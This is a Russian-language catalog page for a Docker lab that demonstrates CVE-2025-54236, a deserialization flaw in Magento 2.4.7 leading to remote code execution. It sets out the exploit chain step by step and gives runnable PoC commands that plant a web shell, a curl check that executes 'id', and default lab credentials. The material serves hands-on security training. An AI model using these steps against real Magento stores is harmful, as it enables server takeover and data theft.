Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
session_reaper_lab — Среда Docker для практической демонстрации CVE-2025-54236 (SessionReaper): PHP Object Deserialization, приводящая к RCE в Magento Open Source 2.4.7 | Kitploit
Инструменты/GitHubGitHub/brito101/session_reaper_lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubbrito101/session_reaper_lab

session_reaper_lab

Среда Docker для практической демонстрации CVE-2025-54236 (SessionReaper): PHP Object Deserialization, приводящая к RCE в Magento Open Source 2.4.7

Репозиторий
33 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-54236 - SessionReaper Lab

Среда Docker для практической демонстрации CVE-2025-54236 (SessionReaper): десериализация объектов PHP, приводящая к RCE в Magento Open Source 2.4.7.

Использовать только в контролируемой среде. Не запускать против систем без явного разрешения.


О уязвимости

CVE-2025-54236 затрагивает Magento Open Source и Adobe Commerce до версии 2.4.7. Метод ServiceInputProcessor::getConstructorData() принимает вложенные параметры через JSON, которые позволяют перезаписать session.save_path — папку, где PHP хранит файлы сессий.

Цепочка эксплуатации:

  1. Сериализованный PHP-файл (цепочка гаджетов Guzzle/FW1 через phpggc) отправляется через /customer/address_file/upload, который сохраняет его в pub/media/customer_address/s/e/sess_<id>.
  2. Запрос к REST API внедряет {"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} в качестве параметра конструктора.
  • PHP вызывает session_start() с поддельным PHPSESSID, десериализует цепочку гаджетов и записывает веб-шелл в pub/errors/.
  • Предварительное условие: сессии PHP, настроенные как file-based (не Redis/Memcached).

    • CVSS: 9.1 (Critical)
    • Затронутые версии: Magento Open Source / Adobe Commerce ≤ 2.4.7

    Структура репозитория

    root@kitploit:~
    magento/
    ├── lab-magento/              # Docker lab (уязвимый Magento 2.4.7)
    │   ├── Dockerfile            # PHP 8.2-FPM с расширениями Magento
    │   ├── docker-compose.yml    # Стек: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
    │   ├── .env                  # Настройки окружения
    │   ├── conf/
    │   │   ├── nginx/            # VirtualHost nginx
    │   │   └── php/magento.ini   # Сессии на основе файлов, memory_limit=2G
    │   └── scripts/
    │       ├── 01-install.sh     # Полная установка с нуля
    │       └── 02-demo-setup.sh  # Подготовка продукта, полезной нагрузки и вывод инструкций
    ├── SessionReaper-CVE-2025-54236/
    │   └── session_reaper.py     # Основной PoC (автор: alexb616)
    └── payloads/
        ├── shell.php             # Веб-шелл с одинарными кавычками (избегает экранирования JSON)
        └── sess_payload.bin      # Сериализованная цепочка гаджетов (сгенерирована скриптом)
    

    Требования

    • Docker Engine 24+
    • Docker Compose v2 (docker compose)
    • PHP CLI (для phpggc) или Docker с образом ambionics/phpggc
    • phpggc - https://github.com/ambionics/phpggc
      • session_reaper.py ищет бинарник в: PATH системы, ~/phpggc/phpggc, /opt/phpggc/phpggc и, как запасной вариант, автоматически использует Docker-образ ambionics/phpggc
    • Python 3.8+ с requests (pip install requests)
    • WSL2 / Linux (в WSL2 может понадобиться: sudo sysctl -w vm.max_map_count=262144 для Elasticsearch)

    Установка

    root@kitploit:~
    cd lab-magento
    
    # 1. Установка Magento 2.4.7 с нуля (~25 минут)
    bash scripts/install.sh
    

    install.sh выполняет:

    • Сборку кастомного PHP-образа
    • Запуск 5 контейнеров (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
    • Клонирование Magento 2.4.7 через Git (без аккаунта Marketplace)
    • Выполнение composer install --no-dev
    • Запуск setup:install с сессиями file-based
    • Установка режима default (не developer — предотвращает превращение PHP-предупреждений 8.2 в исключения)
    • Отключение 2FA для упрощённого доступа к админке
    • Выполнение setup:static-content:deploy
    • Корректировка прав www-data на всех этапах

    Запуск эксплойта

    После установки из корневого каталога (/magento/):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method order \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Проверить RCE:

    root@kitploit:~
    curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
    # Ожидаемый вывод: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Альтернативный метод (вектор address, с реальным продуктом):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method address \
        --sku DEMO-001 \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Учётные данные лаборатории

    СервисURL / ХостУчётные данные
    Магазин Magentohttp://localhost:8080/-
    Админка Magentohttp://localhost:8080/admin/admin / Admin123!
    MySQLlocalhost:3306magento / magento
    Elasticsearchlocalhost:9200-

    URI админки генерируется случайным образом при установке. Чтобы её найти:

    root@kitploit:~
    docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
    

    Мониторинг

    root@kitploit:~
    # Сессии, созданные эксплойтом
    docker exec lab_magento_php ls -la /var/www/html/var/session/
    
    # Вредоносный файл сессии в media/
    docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
    
    # Логи в реальном времени
    docker logs lab_magento_nginx -f
    docker logs lab_magento_php -f
    

    Очистка

    root@kitploit:~
    # Удалить веб-шелл
    docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
    
    # Остановить контейнеры
    docker compose -f lab-magento/docker-compose.yml down
    
    # Уничтожить всё (контейнеры + тома)
    docker compose -f lab-magento/docker-compose.yml down -v
    

    Технические детали

    Почему одинарные кавычки в веб-шеллле? phpggc Guzzle/FW1 сериализует полезную нагрузку как JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. Содержимое PHP кодируется в JSON, поэтому " превращается в \". Использование $_GET["cmd"] привело бы к $_GET[\"cmd\"] — ошибке разбора PHP. Решение — написать веб-шелл с одинарными кавычками: $_GET['cmd'].

    Почему режим default, а не developer? Magento в режиме developer преобразует все PHP-предупреждения в исключения. PHP 8.2 выдаёт Warning: Trying to access array offset on null в lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, что превращается в исключение 500 в админке. В режиме default предупреждение игнорируется.

    Почему файлы находятся в s/e/? Magento организует загрузки адресов в pub/media/customer_address/{1-й символ}/{2-й символ}/filename. Для файлов sess_* первый символ — s, второй — e, что всегда приводит к pub/media/customer_address/s/e/.


    Ссылки

    • NVD - CVE-2025-54236
    • Оригинальный PoC - alexb616/SessionReaper-CVE-2025-54236
    • phpggc - ambionics/phpggc
    • Бюллетень безопасности Adobe APSB25-94
    Скачать инструмент